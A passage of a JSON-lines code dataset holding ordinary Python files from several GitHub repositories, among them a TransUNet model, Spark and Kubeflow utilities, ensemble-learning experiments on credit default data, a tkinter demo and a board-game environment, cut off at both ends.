kernel_size: int = 3,\n                activation=\"relu\",\n                padding=\"same\",\n                kernel_initializer=\"he_normal\") -> Layer:\n            up_sample_func = UpSampling2D(size=up_size)\n            conv_func = Conv2D(\n                    filters=_filter_num,\n                    kernel_size=kernel_size,\n                    activation=activation,\n                    padding=padding,\n                    kernel_initializer=kernel_initializer)\n            return compose_left(up_sample_func, conv_func)\n        \n        # Parameter Check\n        if level <= 0:\n            raise ValueError(\"`level` should be greater than 0.\")\n        if level >= 6:\n            warnings.warn(\"`level` recommended to be smaller than 6.\", RuntimeWarning)\n        \n        # Prepare\n        filter_nums: List[int] = []\n        for level_iter in range(level):\n            filter_nums.append(base_filters * 4 * (2 ** level_iter))\n        \n        # Input\n        input_layer: Layer = Input(shape=input_shape, name=input_name)\n        \n        # Skip connections\n        skip_connections: List[Layer] = []\n        \n        # Encoder\n        encoder: Layer = input_layer\n        for filter_num in filter_nums[:-1]:\n            encoder = __trans_unet_level_base_conv_2d(filter_num)(encoder)\n            encoder = __trans_unet_level_base_conv_2d(filter_num)(encoder)\n            skip_connections.append(encoder)\n            encoder = __trans_unet_base_sub_sampling()(encoder)\n        \n        # Intermediate\n        patch_size = input_shape[0] // (2 ** (level - 1))\n        projection_dim = 384\n        vit_head = 6\n        vit_transform_layers = 6\n        \n        intermedate: Layer = __trans_unet_level_base_conv_2d(filter_nums[-1])(encoder)\n        intermedate = __trans_unet_level_base_conv_2d(filter_nums[-1])(intermedate)\n        intermedate = Conv2D(\n                filters=projection_dim,\n                kernel_size=1,\n                strides=1,\n                activation=\"relu\",\n                padding=\"same\",\n                kernel_initializer=\"he_normal\")(intermedate)  # (B, 32, 32, projection_dim)\n        intermedate = ViT(\n                patch_size=patch_size,\n                projection_dim=projection_dim,\n                num_transformer_layers=vit_transform_layers,\n                num_heads=vit_head)(intermedate)\n        intermedate = Reshape((patch_size, patch_size, projection_dim))(intermedate)\n        intermedate = Dropout(0.5)(intermedate)\n        intermedate = Conv2D(\n                filters=512,\n                kernel_size=3,\n                activation=\"relu\",\n                padding='same',\n                kernel_initializer=\"he_normal\")(intermedate)\n        \n        # Decoder\n        decoder: Layer = intermedate\n        for filter_num_index, filter_num in enumerate(filter_nums[:-1][::-1]):\n            decoder = __trans_unet_base_up_sampling(filter_num)(decoder)\n            skip_layer: Layer = skip_connections[::-1][filter_num_index]\n            decoder = concatenate([skip_layer, decoder])\n            decoder = __trans_unet_level_base_conv_2d(filter_num)(decoder)\n            decoder = __trans_unet_level_base_conv_2d(filter_num)(decoder)\n        \n        # Output\n        output: Layer = __trans_unet_level_base_conv_2d(2)(decoder)\n        output = __trans_unet_level_base_conv_2d(1, kernel_size=1, activation=\"sigmoid\", name_optional=output_name)(\n                output)\n        \n        return Model(inputs=[input_layer], outputs=[output])\n","repo_name":"tenkeyless/imagemodel","sub_path":"imagemodel/binary_segmentations/models/trans_unet_level.py","file_name":"trans_unet_level.py","file_ext":"py","file_size_in_byte":17260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"44455786210","text":"import pathlib\nfrom typing import Callable\n\nfrom kfp.compiler import Compiler\nfrom kfp.components import load_component_from_file\nfrom kfp.dsl import PipelineConf, PipelineExecutionMode\n\nPIPELINE_FILE_NAME = \"pipeline.yaml\"\n\n\ndef load_component(component_dir: str):\n    comp_path = pathlib.Path(\"components\")\n    comp_name = \"component.yaml\"\n    component_file = comp_path / component_dir / comp_name\n    return load_component_from_file(str(component_file))\n\n\ndef compile_pipeline(pipeline_func: Callable, pipeline_file: str):\n    pipeline_name = pathlib.Path(pipeline_file).parent / PIPELINE_FILE_NAME\n    conf = PipelineConf()\n    conf.set_image_pull_policy(\"IfNotPresent\")\n    Compiler(mode=PipelineExecutionMode.V2_COMPATIBLE).compile(\n        pipeline_func, str(pipeline_name), pipeline_conf=conf\n    )\n","repo_name":"WOGRA-AG/Os4ML","sub_path":"templates/pipelines/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"60"}
+{"seq_id":"11145855145","text":"from pyspark.sql import SparkSession\nfrom io import StringIO\nimport csv, time\n\ndef split_complex(x):\n        return list(csv.reader(StringIO(x), delimiter=','))[0]\n\nspark = SparkSession.builder.appName(\"rdd-query4\").getOrCreate()\n\nsc = spark.sparkContext\n\n'''\nfind average synopsis words for drama movies, for \nevery half-decade, beginning with year 2000\n'''\n\ndef half_decade(x):\n\tif x >= 2000:\n\t\tif x <= 2004:\n\t\t\treturn('2000-2004')\n\t\telif x <= 2009:\n\t\t\treturn('2005-2009')\n\t\telif x <= 2014:\n\t\t\treturn('2010-2014')\n\t\telif x <= 2019:\n\t\t\treturn('2015-2019')\n\nt1 = time.time()\n\ndramas = sc.textFile(\"hdfs://master:9000/files/movie_genres.csv\"). \\\n\t\tmap(lambda x : (x.split(\",\")[0], x.split(\",\")[1])). \\\n\t\tfilter(lambda x : x[1] == 'Drama')\n\nmovies = sc.textFile(\"hdfs://master:9000/files/movies.csv\"). \\\n\t\tfilter(lambda x : split_complex(x)[3][0:4] != '' and int(split_complex(x)[3][0:4]) > 1999 and int(split_complex(x)[3][0:4]) < 2020 and split_complex(x)[2] != ''). \\\n\t\tmap(lambda x : (split_complex(x)[0], (half_decade(int(split_complex(x)[3][0:4])), len(split_complex(x)[2].split(\" \")))))\n\nres = dramas.join(movies). \\\n\tmap(lambda x : (x[1][1][0], ((x[1][1][1], 1)))). \\\n\treduceByKey(lambda x, y : (x[0]+y[0], x[1]+y[1])). \\\n\tsortByKey(). \\\n\tmap(lambda x : (x[0], x[1][0] / x[1][1])).collect()\n\n'''\nres.saveAsTextFile(\"hdfs://master:9000/outputs/r4.csv\")\n'''\n\nt2 = time.time()\n\nfor i in res:\n\tprint(i)\n\nprint(\"Query4 with RDD API, runtime in seconds: %.4f\"%(t2-t1))\n","repo_name":"spiros26/SparkProject","sub_path":"code/part1/query4_rdd.py","file_name":"query4_rdd.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18178015574","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[13]:\n\n\nimport numpy as np \nimport pandas as pd\nfrom DecisionTreeModels import decision_tree_model, predict, average_error,create_tree\nfrom pprint import pprint\nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt\nfrom itertools import repeat\nimport multiprocessing as mp\nfrom AdaboostImplementation import adaboost_fit, adaboost_predict_test\n\ndf = pd.read_csv('default of credit card clients.csv')\n#print(df.head())\ndf = df.drop(columns=['ID'])\ndf.columns\n\ndf['SEX'] = df['SEX'].astype(object)\ndf['EDUCATION'] = df['EDUCATION'].astype(object)\ndf['MARRIAGE'] = df['MARRIAGE'].astype(object)\ndf['PAY_0'] =  df['PAY_0'].astype(object)\ndf['PAY_2'] = df['PAY_2'].astype(object)\ndf['PAY_3'] = df['PAY_3'].astype(object)\ndf['PAY_4'] = df['PAY_4'].astype(object)\ndf['PAY_5'] = df['PAY_5'].astype(object)\ndf['PAY_6'] = df['PAY_6'].astype(object)\ndf.dtypes\n\n# preprocessed the input data to convert the integer attributes to categorical using median as threshold\n\n\ndef preprocessed_train_input(X):\n    '''\n    preprocessed the training input data to convert the \n    integer attributes to categorical using median as threshold\n    return the modified train data and the median value to be used for test data\n    '''\n    X_num = X.select_dtypes(include=[np.int64])\n    X_object = X.select_dtypes(include='object')\n    binary = pd.DataFrame()\n    median = {}\n    for c in X_num.columns:\n        med = np.median(X_num[c])\n        # update the median dictinary with median value\n        median[c]=med\n        # if > median value True otherwise False\n        binary[c]=X_num[c]>med\n    X_new = pd.concat([X_object,binary],axis=1)\n    return(X_new,median)\n\n\ndef preprocessed_test_input(X,train_median):\n    '''\n    processed the numerical test data with median value of the train data\n    '''\n    X_num = X.select_dtypes(include=[np.int64])\n    X_object = X.select_dtypes(include='object')\n    binary = pd.DataFrame()\n    for c in X_num.columns:\n        #print(c)\n        #print(train_median[c])\n        # if > median value True otherwise False\n        binary[c]=X_num[c]>train_median[c]\n    X_new = pd.concat([X_object,binary],axis=1)\n    return(X_new)\n\n\ndf_train = df.sample(frac=0.8,replace=False,random_state=20)\n#print(df_train.head())\n\ndf_test = df[~df.index.isin(df_train.index)]\n#print(df_test.head())\ndf_train = df_train.reset_index(drop=True)\n#df_train\n\ndf_test= df_test.reset_index(drop=True)\n#df_test\n\nX_train_b = df_train[['LIMIT_BAL', 'SEX', 'EDUCATION', 'MARRIAGE', 'AGE', 'PAY_0', 'PAY_2',\n       'PAY_3', 'PAY_4', 'PAY_5', 'PAY_6', 'BILL_AMT1', 'BILL_AMT2',\n       'BILL_AMT3', 'BILL_AMT4', 'BILL_AMT5', 'BILL_AMT6', 'PAY_AMT1',\n       'PAY_AMT2', 'PAY_AMT3', 'PAY_AMT4', 'PAY_AMT5', 'PAY_AMT6']]\n\n \n #X_train after preprocessing\nX_train=preprocessed_train_input(X_train_b)[0] # 0th index \nX_train\ny_train = df_train['default payment next month']\ntrain_median= preprocessed_train_input(X_train_b)[1] # 1st index return median value \n\n\nX_test_b = df_train[['LIMIT_BAL', 'SEX', 'EDUCATION', 'MARRIAGE', 'AGE', 'PAY_0', 'PAY_2',\n       'PAY_3', 'PAY_4', 'PAY_5', 'PAY_6', 'BILL_AMT1', 'BILL_AMT2',\n       'BILL_AMT3', 'BILL_AMT4', 'BILL_AMT5', 'BILL_AMT6', 'PAY_AMT1',\n       'PAY_AMT2', 'PAY_AMT3', 'PAY_AMT4', 'PAY_AMT5', 'PAY_AMT6']]\n\n# # X_test after preprocessing\nX_test=preprocessed_test_input(X_test_b,train_median)\n\ny_test = df_test['default payment next month']\n\n\ny_test_n = pd.Series([ 1 if y==1 else -1 for y in y_test])\ny_train_n = pd.Series([ 1 if y==1 else -1 for y in y_train])\n\n\ndef bagging_np_sampling(X_train, y_train, X_test,y_test, size_sample, n_trees=10, replace_tr = True, verbose = False):\n\n    \n    \n    index = np.arange(X_train.shape[0])\n    \n   \n    sum_train_error = []\n    sum_test_error = []\n    y_test_pred = {}\n    y_train_pred = {}\n    \n    \n    for i in tqdm(range(n_trees)):\n        \n        #np.random.seed(i)\n    \n        \n        #sample from X_train, y_train\n        index_sampled = np.random.choice(index, size=size_sample, replace=replace_tr)\n\n        X_train_sample = X_train.loc[index_sampled,:]\n        y_train_sample = y_train.loc[index_sampled]\n        if(verbose):\n             print('index_sampled=',index_sampled)\n        \n        m = decision_tree_model(X_train_sample, y_train_sample,model_name='IG',max_depth =16)\n        #m = decision_tree_model(df_sampled.iloc[:,:-1], df_sampled['y'],model_name='IG',max_depth =16 )\n        #print('model =========\\n',m)\n        y_train_pred[i] = predict(X_train,m)\n        #print(y_train_pred[i].value_counts())\n        y_test_pred[i] = predict(X_test,m)\n        #print(y_train_pred[i].value_counts())\n        tr_avg = average_error(y_train,pd.DataFrame(y_train_pred).mode(axis=1)[0])\n        te_avg = average_error(y_test,pd.DataFrame(y_test_pred).mode(axis=1)[0])\n        #print('errror',te_avg)\n        sum_train_error.append(tr_avg)\n        sum_test_error.append(te_avg)\n\n    \n    return(sum_train_error,sum_test_error)\n\n\ndef randomforest_np_sampling(X_train, y_train, X_test,y_test, size_sample=len(X_train),size_features=6, n_trees=10, replace_tr = True, verbose = False):\n\n    \n    \n    index = np.arange(X_train.shape[0])\n    \n   \n    sum_train_error = []\n    sum_test_error = []\n    y_test_pred = {}\n    y_train_pred = {}\n    \n    \n    for i in tqdm(range(n_trees)):\n        \n        #np.random.seed(i)   \n        idx = np.random.choice(index, size=size_sample, replace=replace_tr)\n        #print('index',idx)\n        X_train_sample = X_train.loc[idx,:]\n        y_train_sample = y_train.loc[idx]\n        \n        feature_sampled = np.random.choice(X_train.columns, size=size_features, replace=False)\n        #print('feature_sampled',feature_sampled)\n\n        X_train_rf = X_train_sample[feature_sampled]\n        if(verbose):\n             print('index_sampled=',index_sampled)\n        \n        m = decision_tree_model(X_train_rf, y_train_sample,model_name='IG',max_depth =size_features)\n        #m = decision_tree_model(df_sampled.iloc[:,:-1], df_sampled['y'],model_name='IG',max_depth =16 )\n        #print('model =========\\n',m)\n        y_train_pred[i] = predict(X_train,m)\n        #print(y_train_pred[i].value_counts())\n        y_test_pred[i] = predict(X_test,m)\n        #print(y_train_pred[i].value_counts())\n        tr_avg = average_error(y_train,pd.DataFrame(y_train_pred).mode(axis=1)[0])\n        te_avg = average_error(y_test,pd.DataFrame(y_test_pred).mode(axis=1)[0])\n        #print('errror',te_avg)\n        sum_train_error.append(tr_avg)\n        sum_test_error.append(te_avg)\n\n    \n    return(sum_train_error,sum_test_error)\n\n\n\nprint('######### SINGLE TREE WITH MAX DEPTH TRAIN AND TEST ERROR')\nmodel = decision_tree_model(X_train,y_train_n,max_depth=23)\n\ny_tr_pred = predict(X_train,model)\ny_te_pred = predict(X_test,model)\nprint('average error Training single tree maximum depth',average_error(y_train_n,y_tr_pred))    \nprint('average error Testing single tree maximum depth',average_error(y_test_n,y_te_pred))  \n\nprint('###########AdaboostTree#############################################################')\n\nmodel,alpha = adaboost_fit(X_train,y_train_n,no_iter=50)\ntrain_ind_iter_err,test_ind_iter_err,train_iter_err,test_iter_err = adaboost_predict_test(X_train, X_test, y_train_n, y_test_n, model,alpha)\n\n\nfig, (ax1, ax2) = plt.subplots(2, 1)\nfig.tight_layout(h_pad=2)\n\nax1.plot(train_ind_iter_err, label='Train')\nax1.set_ylabel('Error Rate')\nax1.plot(test_ind_iter_err,  label='Test')\n\nax1.set_title(\"Individual Tree Error Rate\")\nax1.legend(loc='upper right')\n\nax2.plot(train_iter_err, label='Train')\nax2.set_ylabel('Error Rate')\nax2.set_xlabel('Number of Trees')\nax2.plot(test_iter_err,  label='Test')\n\nax2.set_title(\"All decision trees prediction results\")\nax2.legend()\n\nfig.savefig('CreditDefault_adaboost')\n\nprint('########### BAGGING #############################################################')\n\n\nbag_tr_err,bag_te_err = bagging_np_sampling(X_train,y_train_n,X_test,y_test_n,size_sample=len(X_train),\n                                             n_trees=500)\n    \n\n    \nplt.plot(np.arange(len(bag_tr_err)),bag_tr_err)\nplt.plot(np.arange(len(bag_te_err)),bag_te_err)\nplt.xlabel('number of trees')\nplt.ylabel('Error Value')\nplt.title('Bagging Performance Credit Default')\nplt.savefig('bagging_creditdefault.jpg')\n\n\nprint('########### RANDOM FOREST #############################################################')\n\n\nrf_tr_err,rf_te_err = randomforest_np_sampling(X_train,y_train_n,X_test,y_test_n,n_trees=10,\n                                               size_sample=len(X_train),size_features=23)\n\nplt.plot(np.arange(len(rf_tr_err)),rf_tr_err)\nplt.plot(np.arange(len(rf_tr_err)),rf_te_err)\nplt.xlabel('number of trees')\nplt.ylabel('Error Value')\nplt.title('Random Forest credit default Performance')\nplt.savefig('bagging_creditdefault.jpg')\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"truptimohanty/cs6350","sub_path":"Ensemble_assignment/CreditCard_Defaulter_Final.py","file_name":"CreditCard_Defaulter_Final.py","file_ext":"py","file_size_in_byte":8818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12287555706","text":"from TranspositionCipher import encrypt_message, decrypt_message\nimport random\n\ninput_file = r'C:\\Users\\james\\Desktop\\Stuff\\hkgisai ncnlk.txt'\noutput_file = 'Output_file.txt'\n\nwith open(input_file, 'r', encoding='utf-8') as f:\n    message = f.readlines()\nf.close()\nmessage = ''.join(message)\n\nplain_text = decrypt_message(36, message)\nprint(plain_text)\n'''\nkey = random.randint(5, 100)\nencrypted_message = encrypt_message(key, message)\n\nwith open(output_file, 'w', encoding='utf-8') as f:\n    f.write(encrypted_message)\n    f.write('\\n')\n    f.write(str(key))\nf.close()\n'''","repo_name":"SurvivingJ/Cryptography","sub_path":"FileTranspositionEncrypter.py","file_name":"FileTranspositionEncrypter.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12563342507","text":"import tkinter as tk\nfrom tkinter import ttk\n\n\ndef button_func():\n    # print(entry.get())\n\n    # Update Label\n    # label.config(text=\"some Other TeXT\")\n    # label['text'] = entry.get()\n    entry['state'] = 'disabled'\n    # print(label.configure())\n\ndef enable():\n    entry['state'] = 'enable'\n\n\n\n# Window\nwindow = tk.Tk()\nwindow.title('Getting and setting widgets')\nwindow.geometry(\"250x160\")\n\n# Widgets\nlabel = ttk.Label(window, text='Some Text')\nlabel.pack()\n\nentry = ttk.Entry(window)\nentry.pack()\n\nbutton = ttk.Button(window, text='The Button', command=button_func)\nbutton.pack()\n\nexercise = ttk.Button(window, text='unlock', command=enable)\nexercise.pack()\n\n\n# Run\nwindow.mainloop()","repo_name":"lanbinshijie/tkinter-study","sub_path":"3_getWidgetsData.py","file_name":"3_getWidgetsData.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"44296121181","text":"import os\nimport copy\nimport logging\n\nimport yaml\n\nDEFAULT_CONFIG = {\"STABILITY\": {\"RETRY\": {\"SLEEP_TIME\": 1, \"RETRIES\": 5}}}\n\nCONFIG = None\nlogger = logging.getLogger(\"config\")\n\n\ndef config(path=\"config.yml\", force_reload=False):\n    \"\"\"\n    Read the config for this module.\n    Priority is env, config.yml then defaults.\n    \"\"\"\n\n    global CONFIG, DEFAULT_CONFIG\n    if CONFIG is not None and not force_reload:\n        return CONFIG\n\n    # 1. Defaults. All items should have keys here.\n    config = copy.deepcopy(DEFAULT_CONFIG)\n\n    # 2. Read from config.yml\n    if os.path.exists(path):\n        with open(path, mode=\"r\") as data_file:\n            try:\n                config.update(yaml.load(data_file))\n            except yaml.scanner.ScannerError as e:\n                logger.warning(\"Invalid YAML config: %s\" % e)\n\n    # 3. Environment\n    for key in config:\n        val = os.getenv(key, None)\n        if val is not None:\n            config[key] = val\n\n    CONFIG = config\n    return CONFIG\n","repo_name":"ErikGartner/hyperdock","sub_path":"hyperdock/common/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"39997143577","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('builds', '0015_remove_project_average_time'),\n    ]\n\n    operations = [\n        migrations.RemoveField(\n            model_name='buildresult',\n            name='return_code',\n        ),\n    ]\n","repo_name":"frigg/frigg-hq","sub_path":"frigg/builds/migrations/0016_remove_buildresult_return_code.py","file_name":"0016_remove_buildresult_return_code.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"60"}
+{"seq_id":"23540589758","text":"import unittest\n\n\n# Merge meeting ranges\n\n# O: a list of tuples representing occupied blocks of time (start, end)\n# I: a list of tuples\n# C: time ranges represented by integers (could be very large integers)\n#    ranges not sorted\n#    shouldn't mutate input\n# E: a time range that could fit inside another time range\n#    two ranges that touch but do not overlap\n#    zero-length range\n#\n# Approach:\n#   copy input to avoid mutating it\n#   Sort meetings by ascending order of the first element in the tuple\n#   we will build up our condensed ranges one by one\n#   for each meeting in meetings,\n#       if it starts before or at the end of the current range\n#           update the end of our range if it is less than the end of the meeting\n#       otherwise, add our current condensed range to the return list and base our next range on the current meeting\n\n\n# meetings should be a list of tuples, where each tuple represents a time range (start, end)\n# (2, 3)  # Meeting from 10:00 - 10:30 am\n# (6, 9)  # Meeting from 12:00 - 1:30 pm\n# meetings might be something like [(0, 1), (3, 5), (4, 8), (10, 12), (9, 10)]\n#\n# returns a similarly formatted list of tuples representing all continuously occupied blocks of time\ndef merge_ranges(meetings):\n    meetings_copy = sorted(meetings)\n    condensed_ranges = []\n\n    range_start, range_end = meetings_copy[0]\n\n    for meeting_start, meeting_end in meetings_copy:\n        if meeting_start <= range_end:\n            range_end = max(range_end, meeting_end)\n        else:\n            condensed_ranges.append((range_start, range_end))\n            range_start = meeting_start\n            range_end = meeting_end\n\n    condensed_ranges.append((range_start, range_end))\n\n    return condensed_ranges\n\n\n# # Tests\n#\n# class Test(unittest.TestCase):\n#\n#     def test_meetings_overlap(self):\n#         actual = merge_ranges([(1, 3), (2, 4)])\n#         expected = [(1, 4)]\n#         self.assertEqual(actual, expected)\n#\n#     def test_meetings_touch(self):\n#         actual = merge_ranges([(5, 6), (6, 8)])\n#         expected = [(5, 8)]\n#         self.assertEqual(actual, expected)\n#\n#     def test_meeting_contains_other_meeting(self):\n#         actual = merge_ranges([(1, 8), (2, 5)])\n#         expected = [(1, 8)]\n#         self.assertEqual(actual, expected)\n#\n#     def test_meetings_stay_separate(self):\n#         actual = merge_ranges([(1, 3), (4, 8)])\n#         expected = [(1, 3), (4, 8)]\n#         self.assertEqual(actual, expected)\n#\n#     def test_multiple_merged_meetings(self):\n#         actual = merge_ranges([(1, 4), (2, 5), (5, 8)])\n#         expected = [(1, 8)]\n#         self.assertEqual(actual, expected)\n#\n#     def test_meetings_not_sorted(self):\n#         actual = merge_ranges([(5, 8), (1, 4), (6, 8)])\n#         expected = [(1, 4), (5, 8)]\n#         self.assertEqual(actual, expected)\n#\n#     def test_one_long_meeting_contains_smaller_meetings(self):\n#         actual = merge_ranges([(1, 10), (2, 5), (6, 8), (9, 10), (10, 12)])\n#         expected = [(1, 12)]\n#         self.assertEqual(actual, expected)\n#\n#     def test_sample_input(self):\n#         actual = merge_ranges([(0, 1), (3, 5), (4, 8), (10, 12), (9, 10)])\n#         expected = [(0, 1), (3, 8), (9, 12)]\n#         self.assertEqual(actual, expected)\n#\n#\n# unittest.main(verbosity=2)","repo_name":"orenjinominh/interview-practice","sub_path":"mergeMeetings.py","file_name":"mergeMeetings.py","file_ext":"py","file_size_in_byte":3299,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"24658943716","text":"import numba as nb\nimport numpy as np\nfrom numba import njit\n\nfrom src.Base.Century.docs.index import *\n\n\n@njit()\ndef getAgentSize():\n    return 5\n\n\n@njit()\ndef getStateSize():\n    return 277\n\n\n@njit()\ndef getActionSize():\n    return 65\n\n\n# khởi tạo bàn chơi\n@njit()\ndef initEnv():\n    start_card_player = np.concatenate((np.array([1]), np.zeros(42), np.array([1, 0])))\n    start_player_0 = np.concatenate((np.array([0, 0, 3, 0, 0, 0]), start_card_player))\n    start_player_1 = np.concatenate((np.array([0, 0, 4, 0, 0, 0]), start_card_player))\n    start_player_2 = np.concatenate((np.array([0, 0, 4, 0, 0, 0]), start_card_player))\n    start_player_3 = np.concatenate((np.array([0, 0, 3, 1, 0, 0]), start_card_player))\n    start_player_4 = np.concatenate((np.array([0, 0, 3, 1, 0, 0]), start_card_player))\n    list_card = np.append(np.arange(1, 43), 44)\n    list_card_point = np.arange(36)\n    np.random.shuffle(list_card)\n    np.random.shuffle(list_card_point)\n    top_6_card = ALL_CARD_IN4[list_card[:NUMBER_OPEN_ACTION_CARD]].flatten()\n    top_5_card_point = ALL_CARD_POINT_IN4[\n        list_card_point[:NUMBER_OPEN_POINT_CARD]\n    ].flatten()\n    order_player = np.arange(NUMBER_PLAYER)\n    env_state = np.concatenate(\n        (\n            start_player_0,\n            start_player_1,\n            start_player_2,\n            start_player_3,\n            start_player_4,\n            top_6_card,\n            np.zeros(20),\n            top_5_card_point,\n            list_card,\n            list_card_point,\n            np.array([0, -0.5, 0, 10, 10, -1, 1, 0, 0]),\n            order_player,\n        )\n    )\n    # 5 player_in4, 6card_in4,5 token free, 5 card_point_in4, list_card_shuffle, list_card_point_shuffle, [number_action_upgrade, card_will_buy/card_hand_used, token need drop, silver, gold, last_action, phase, check_end, id_action]\n    return env_state\n\n\n@njit()\ndef getAgentState(env_state):\n    player_state = np.zeros(P_LENGTH, dtype=np.float64)\n    player_action = int(env_state[ENV_ID_ACTION])  # xác định người chơi\n    player_main_in4 = env_state[\n        ATTRIBUTE_PLAYER * player_action : ATTRIBUTE_PLAYER * (player_action + 1)\n    ]\n    player_state[P_SCORE : P_SCORE + BASIC_ATTRIBUTE_PLAYER] = player_main_in4[\n        :BASIC_ATTRIBUTE_PLAYER\n    ]\n    player_state[P_ACTION_CARD_PLAYER:P_ACTION_CARD_DOWN_PLAYER] = (\n        player_main_in4[BASIC_ATTRIBUTE_PLAYER:] > 0\n    ) * 1\n    player_state[P_ACTION_CARD_DOWN_PLAYER:P_OTHER_PLAYER_IN4] = (\n        player_main_in4[BASIC_ATTRIBUTE_PLAYER:] < 0\n    ) * 1\n    for idx in range(1, 5):\n        id = int((player_action + idx) % NUMBER_PLAYER)\n        all_other_player_in4 = env_state[\n            ATTRIBUTE_PLAYER * id : ATTRIBUTE_PLAYER * id + BASIC_ATTRIBUTE_PLAYER\n        ].copy()\n        # all_other_player_card = np.where(all_other_player_in4[BASIC_ATTRIBUTE_PLAYER:] == -1, 1, 0)      #xác định thẻ người chơi có dựa trên các thẻ đã đánh\n        player_state[\n            P_OTHER_PLAYER_IN4\n            + (idx - 1) * BASIC_ATTRIBUTE_PLAYER : P_OTHER_PLAYER_IN4\n            + idx * BASIC_ATTRIBUTE_PLAYER\n        ] = all_other_player_in4\n    # player_state = np.concatenate((player_state, env_state[ENV_OPEN_ACTION_CARD:ENV_DOWN_ACTION_CARD], env_state[ENV_SILVER_COIN : ENV_ID_ACTION]))\n    player_state[P_OPEN_ACTION_CARD:P_SILVER_COIN] = env_state[\n        ENV_OPEN_ACTION_CARD:ENV_DOWN_ACTION_CARD\n    ]\n    player_state[P_SILVER_COIN] = env_state[ENV_SILVER_COIN]\n    player_state[P_GOLD_COIN] = env_state[ENV_GOLD_COIN]\n    # action gần nhất nếu dùng thẻ action đổi token\n    if env_state[ENV_LAST_ACTION] != -1:\n        player_state[\n            P_LAST_ACTION + int(env_state[ENV_LAST_ACTION])\n        ] = 1  # update 25/4/2023\n    # kiểm tra end game\n    player_state[P_CHECK_END] = env_state[ENV_CHECK_END]\n\n    # THứ tự người chơi\n    player_state[P_ORDER : P_ORDER + NUMBER_PLAYER] = np.concatenate(\n        (\n            env_state[\n                ENV_ORDER_PLAYER + player_action : ENV_ORDER_PLAYER + NUMBER_PLAYER\n            ],\n            env_state[ENV_ORDER_PLAYER : ENV_ORDER_PLAYER + player_action],\n        )\n    )\n    # phase\n    player_state[P_PHASE + int(env_state[ENV_PHASE]) - 1] = 1\n    # print(list(player_state))\n    # print(np.sum(player_state[221:266]), player_state[221:266])\n    return player_state\n\n\n@njit()\ndef getValidActions(player_state_origin):\n    list_action_return = np.zeros(65, dtype=np.float64)\n    player_state = player_state_origin.copy()\n    phase_env = -1\n    if len(np.where(player_state[P_PHASE : P_PHASE + NUMBER_PHASE] == 1)[0]) != 0:\n        phase_env = (\n            np.where(player_state[P_PHASE : P_PHASE + NUMBER_PHASE] == 1)[0][0] + 1\n        )\n    player_state_own = player_state[:P_OTHER_PLAYER_IN4]\n    \"\"\"\n        Quy ước phase: \n        phase1: chọn mua thẻ (6 thẻ top và 5 thẻ point) hay đánh thẻ (thẻ trên tay) hay nghỉ ngơi (11 action mua, 45 action đánh, 1 action nghỉ)\n        phase2: nếu mua thẻ top, chọn token để vào các thẻ trước thẻ mình mua (4 action)\n        phase3: nếu đánh thẻ, chọn xem có thực hiện action của thẻ tiếp ko (2action, 1 cái là ko, 1 cái trùng vs action dùng thẻ)\n        phase4: trả token dư thừa (4 action) (trùng phase 2)\n        phase5: chọn tài nguyên nâng cấp    \n    \"\"\"\n    player_token = player_state_own[P_TOKEN:P_ACTION_CARD_PLAYER]\n    if phase_env == 1:\n        # chọn mua thẻ (6 thẻ top và 5 thẻ point) hay đánh thẻ (thẻ trên tay) hay nghỉ ngơi (11 action mua, 45 action đánh, 1 action nghỉ)\n        list_action_return[0] = 1  # luôn có action nghỉ ngơi\n        # check mua 6 thẻ top\n        number_token = np.sum(player_token)\n        card_on_board = player_state[P_OPEN_ACTION_CARD:P_TOKEN_ON_ACTION_CARD]\n        for act in range(6):\n            if (\n                act <= number_token\n                and np.sum(\n                    card_on_board[\n                        LENGTH_ACTION_CARD * act : LENGTH_ACTION_CARD * (act + 1)\n                    ]\n                )\n                > 0\n            ):  # kiểm tra đủ tài nguyên đặt không, bàn chơi có còn thẻ ko\n                list_action_return[act + FIRST_ACTION_BUY_ACTION_CARD] = 1\n            else:\n                break\n        # check mua 5 thẻ point\n        all_card_point = player_state[\n            P_OPEN_POINT_CARD : P_OPEN_POINT_CARD\n            + NUMBER_OPEN_POINT_CARD * ATTRIBUTE_POINT_CARD\n        ]\n        for id in range(5):\n            card_in4 = all_card_point[\n                ATTRIBUTE_POINT_CARD * id : ATTRIBUTE_POINT_CARD * (id + 1)\n            ][:NUMBBER_TYPE_TOKEN]\n            if np.sum(card_in4 > player_token) == 0:\n                list_action_return[id + FIRST_ACTION_BUY_POINT_CARD] = 1\n        # check đánh thẻ trên tay\n        data = ALL_CARD_IN4.copy()\n        for card_hand in range(NUMBER_ACTION_CARD - NUMBER_UPGRADE_CARD):\n            if player_state[P_ACTION_CARD_PLAYER + card_hand] == 1:\n                give = data[card_hand][:NUMBBER_TYPE_TOKEN]\n                if np.sum(give > player_token) == 0:\n                    list_action_return[card_hand + FIRST_ACTION_USE_ACTION_CARD] = 1\n\n        if player_state[ATTRIBUTE_PLAYER - NUMBER_UPGRADE_CARD] == 1:\n            if np.sum(player_token[:3] > 0) != 0:\n                list_action_return[55] = 1\n        if player_state[ATTRIBUTE_PLAYER - 